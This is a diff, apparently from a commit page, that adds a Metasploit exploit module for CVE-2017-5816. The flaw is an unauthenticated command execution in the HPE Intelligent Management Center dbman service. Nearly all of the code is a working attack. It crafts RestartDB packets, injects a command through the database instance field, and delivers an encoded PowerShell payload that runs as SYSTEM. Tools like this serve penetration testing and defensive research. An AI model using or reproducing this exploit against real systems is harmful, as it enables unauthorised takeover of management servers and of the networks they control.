|
| 1 | +## |
| 2 | +# This module requires Metasploit: https://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +class MetasploitModule < Msf::Exploit::Remote |
| 7 | + Rank = ExcellentRanking |
| 8 | + |
| 9 | + include Msf::Exploit::Remote::Tcp |
| 10 | + include Msf::Exploit::Powershell |
| 11 | + |
| 12 | + def initialize(info = {}) |
| 13 | + super(update_info(info, |
| 14 | + 'Name' => 'HPE iMC dbman RestartDB Unauthenticated RCE', |
| 15 | + 'Description' => %q{ |
| 16 | + This module exploits a remote command execution vulnerablity in |
| 17 | + Hewlett Packard Enterprise Intelligent Management Center before |
| 18 | + version 7.3 E0504P04. |
| 19 | +
|
| 20 | + The dbman service allows unauthenticated remote users to restart |
| 21 | + a user-specified database instance (OpCode 10008), however the |
| 22 | + instance ID is not sanitized, allowing execution of arbitrary |
| 23 | + operating system commands as SYSTEM. This service listens on |
| 24 | + TCP port 2810 by default. |
| 25 | +
|
| 26 | + This module has been tested successfully on iMC PLAT v7.2 (E0403) |
| 27 | + on Windows 7 SP1 (EN). |
| 28 | + }, |
| 29 | + 'License' => MSF_LICENSE, |
| 30 | + 'Author' => |
| 31 | + [ |
| 32 | + 'sztivi', # Discovery |
| 33 | + 'Chris Lyne', # Python PoC (@lynerc) |
| 34 | + 'Brendan Coles <bcoles[at]gmail.com>' # Metasploit |
| 35 | + ], |
| 36 | + 'References' => |
| 37 | + [ |
| 38 | + ['CVE', '2017-5816'], |
| 39 | + ['EDB', '43198'], |
| 40 | + ['ZDI', '17-340'], |
| 41 | + ['URL', 'https://www.securityfocus.com/bid/98469/info'], |
| 42 | + ['URL', 'https://h20564.www2.hpe.com/hpsc/doc/public/display?docId=emr_na-hpesbhf03745en_us'] |
| 43 | + ], |
| 44 | + 'Platform' => 'win', |
| 45 | + 'Targets' => [['Automatic', {}]], |
| 46 | + 'Payload' => { 'BadChars' => "\x00" }, |
| 47 | + 'DefaultOptions' => { 'WfsDelay' => 15 }, |
| 48 | + 'Privileged' => true, |
| 49 | + 'DisclosureDate' => 'May 15 2017', |
| 50 | + 'DefaultTarget' => 0)) |
| 51 | + register_options [Opt::RPORT(2810)] |
| 52 | + end |
| 53 | + |
| 54 | + def check |
| 55 | + # empty RestartDB packet |
| 56 | + pkt = [10008].pack('N') |
| 57 | + |
| 58 | + connect |
| 59 | + sock.put pkt |
| 60 | + res = sock.get_once |
| 61 | + disconnect |
| 62 | + |
| 63 | + # Expected reply: |
| 64 | + # "\x00\x00\x00\x01\x00\x00\x00:08\x02\x01\xFF\x043Dbman deal msg error, please to see dbman_debug.log" |
| 65 | + return CheckCode::Detected if res =~ /dbman/i |
| 66 | + |
| 67 | + CheckCode::Safe |
| 68 | + end |
| 69 | + |
| 70 | + def dbman_msg(db_instance) |
| 71 | + data = '' |
| 72 | + |
| 73 | + db_ip = "#{rand(255)}.#{rand(255)}.#{rand(255)}.#{rand(255)}" |
| 74 | + db_type = "\x04" # SQL Server |
| 75 | + db_sa_username = rand_text_alpha rand(1..5) |
| 76 | + db_sa_password = rand_text_alpha rand(1..5) |
| 77 | + ora_db_ins = rand_text_alpha rand(1..5) |
| 78 | + |
| 79 | + # dbIp |
| 80 | + data << "\x04" |
| 81 | + data << [db_ip.length].pack('C') |
| 82 | + data << db_ip |
| 83 | + |
| 84 | + # iDBType |
| 85 | + data << "\x02" |
| 86 | + data << [db_type.length].pack('C') |
| 87 | + data << db_type |
| 88 | + |
| 89 | + # dbInstance |
| 90 | + data << "\x04" |
| 91 | + data << "\x82" |
| 92 | + data << [db_instance.length].pack('n') |
| 93 | + data << db_instance |
| 94 | + |
| 95 | + # dbSaUserName |
| 96 | + data << "\x04" |
| 97 | + data << [db_sa_username.length].pack('C') |
| 98 | + data << db_sa_username |
| 99 | + |
| 100 | + # dbSaPassword |
| 101 | + data << "\x04" |
| 102 | + data << [db_sa_password.length].pack('C') |
| 103 | + data << db_sa_password |
| 104 | + |
| 105 | + # strOraDbIns |
| 106 | + data << "\x04" |
| 107 | + data << [ora_db_ins.length].pack('C') |
| 108 | + data << ora_db_ins |
| 109 | + |
| 110 | + data |
| 111 | + end |
| 112 | + |
| 113 | + def dbman_restartdb_pkt(db_instance) |
| 114 | + data = dbman_msg db_instance |
| 115 | + |
| 116 | + # opcode 10008 (RestartDB) |
| 117 | + pkt = [10008].pack('N') |
| 118 | + |
| 119 | + # packet length |
| 120 | + pkt << "\x00\x00" |
| 121 | + pkt << [data.length + 4].pack('n') |
| 122 | + |
| 123 | + # packet data length |
| 124 | + pkt << "\x30\x82" |
| 125 | + pkt << [data.length].pack('n') |
| 126 | + |
| 127 | + # packet data |
| 128 | + pkt << data |
| 129 | + |
| 130 | + pkt |
| 131 | + end |
| 132 | + |
| 133 | + def execute_command(cmd, _opts = {}) |
| 134 | + connect |
| 135 | + sock.put dbman_restartdb_pkt "\"& #{cmd} &" |
| 136 | + disconnect |
| 137 | + end |
| 138 | + |
| 139 | + def exploit |
| 140 | + command = cmd_psh_payload( |
| 141 | + payload.encoded, |
| 142 | + payload_instance.arch.first, |
| 143 | + { :remove_comspec => true, :encode_final_payload => true } |
| 144 | + ) |
| 145 | + |
| 146 | + if command.length > 8000 |
| 147 | + fail_with Failure::BadConfig, "#{peer} - The selected payload is too long to execute through Powershell in one command" |
| 148 | + end |
| 149 | + |
| 150 | + print_status "Sending payload (#{command.length} bytes)..." |
| 151 | + execute_command command |
| 152 | + end |
| 153 | +end |
0 commit comments